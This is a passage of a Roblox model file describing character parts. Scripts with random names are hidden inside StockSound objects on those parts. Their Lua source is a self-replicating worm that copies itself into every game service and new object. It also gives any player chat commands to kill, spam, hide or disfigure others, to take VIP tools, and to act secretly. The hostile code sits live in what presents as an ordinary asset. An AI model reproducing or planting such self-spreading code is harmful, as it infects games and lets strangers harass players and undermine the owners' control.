central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX240">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>-11.7902746</X>
							<Y>3.30467033</Y>
							<Z>-7.32364511</Z>
							<R00>-0.313818604</R00>
							<R01>-0.0172081571</R01>
							<R02>-0.949327052</R02>
							<R10>-0.000132629575</R10>
							<R11>0.999836564</R11>
							<R12>-0.0180798844</R12>
							<R20>0.949482977</R20>
							<R21>-0.00554789416</R21>
							<R22>-0.313769609</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX241">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">i16hb1i</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX242">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">34lt95x</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX243">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">119</int>
						<CoordinateFrame name="CFrame">
							<X>-11.1282215</X>
							<Y>1.30526233</Y>
							<Z>-9.21151543</Z>
							<R00>-0.313818604</R00>
							<R01>-0.0172081571</R01>
							<R02>-0.949327052</R02>
							<R10>-0.000132629575</R10>
							<R11>0.999836564</R11>
							<R12>-0.0180798844</R12>
							<R20>0.949482977</R20>
							<R21>-0.00554789416</R21>
							<R22>-0.313769609</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX244">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">3nnbu</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX245">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">el6h7e</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
